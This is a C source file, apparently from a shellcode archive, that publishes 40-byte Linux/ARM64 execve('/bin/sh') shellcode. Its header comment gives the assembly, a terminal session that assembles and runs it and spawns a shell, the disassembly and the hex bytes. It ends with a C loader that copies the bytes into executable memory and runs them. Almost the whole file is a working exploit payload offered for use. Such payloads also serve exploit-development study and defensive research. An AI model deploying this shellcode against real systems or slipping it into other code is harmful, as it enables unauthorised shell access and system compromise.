89 lines
No EOL
3 KiB
C
89 lines
No EOL
3 KiB
C
/*
|
|
# Title: Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
|
|
# Date: 2019-06-30
|
|
# Tested: Ubuntu 16.04 (aarch64)
|
|
# Author: Ken Kitahara
|
|
# Compilation: gcc -o loader loader.c
|
|
|
|
|
|
ubuntu@ubuntu:~/works$ lsb_release -a
|
|
No LSB modules are available.
|
|
Distributor ID: Ubuntu
|
|
Description: Ubuntu Xenial Xerus (development branch)
|
|
Release: 16.04
|
|
Codename: xenial
|
|
ubuntu@ubuntu:~/works$ uname -a
|
|
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
|
|
ubuntu@ubuntu:~/works$ cat execve.s
|
|
.section .text
|
|
.global _start
|
|
_start:
|
|
// execve("/bin/sh", NULL, NULL)
|
|
mov x1, #0x622F // x1 = 0x000000000000622F ("b/")
|
|
movk x1, #0x6E69, lsl #16 // x1 = 0x000000006E69622F ("nib/")
|
|
movk x1, #0x732F, lsl #32 // x1 = 0x0000732F6E69622F ("s/nib/")
|
|
movk x1, #0x68, lsl #48 // x1 = 0x0068732F6E69622F ("hs/nib/")
|
|
str x1, [sp, #-8]! // push x1
|
|
mov x1, xzr // args[1] = NULL
|
|
mov x2, xzr // args[2] = NULL
|
|
add x0, sp, x1 // args[0] = pointer to "/bin/sh\0"
|
|
mov x8, #221 // Systemcall Number = 221 (execve)
|
|
svc #0x1337 // Invoke Systemcall
|
|
ubuntu@ubuntu:~/works$ as -o execve.o execve.s && ld -o execve execve.o
|
|
ubuntu@ubuntu:~/works$ ./execve
|
|
$ id
|
|
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),107(netdev)
|
|
$ exit
|
|
ubuntu@ubuntu:~/works$ objdump -d ./execve
|
|
|
|
./execve: file format elf64-littleaarch64
|
|
|
|
|
|
Disassembly of section .text:
|
|
|
|
0000000000400078 <_start>:
|
|
400078: d28c45e1 mov x1, #0x622f // #25135
|
|
40007c: f2adcd21 movk x1, #0x6e69, lsl #16
|
|
400080: f2ce65e1 movk x1, #0x732f, lsl #32
|
|
400084: f2e00d01 movk x1, #0x68, lsl #48
|
|
400088: f81f8fe1 str x1, [sp,#-8]!
|
|
40008c: aa1f03e1 mov x1, xzr
|
|
400090: aa1f03e2 mov x2, xzr
|
|
400094: 8b2163e0 add x0, sp, x1
|
|
400098: d2801ba8 mov x8, #0xdd // #221
|
|
40009c: d40266e1 svc #0x1337
|
|
ubuntu@ubuntu:~/works$ objcopy -O binary execve execve.bin
|
|
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve.bin && echo
|
|
\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <sys/mman.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
|
|
int (*sc)();
|
|
|
|
char shellcode[] =
|
|
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
|
|
"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
|
|
"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";
|
|
|
|
int main(int argc, char **argv) {
|
|
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
|
|
|
void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
|
|
|
if (ptr == MAP_FAILED) {
|
|
perror("mmap");
|
|
exit(-1);
|
|
}
|
|
|
|
memcpy(ptr, shellcode, sizeof(shellcode));
|
|
sc = ptr;
|
|
|
|
sc();
|
|
|
|
return 0;
|
|
} |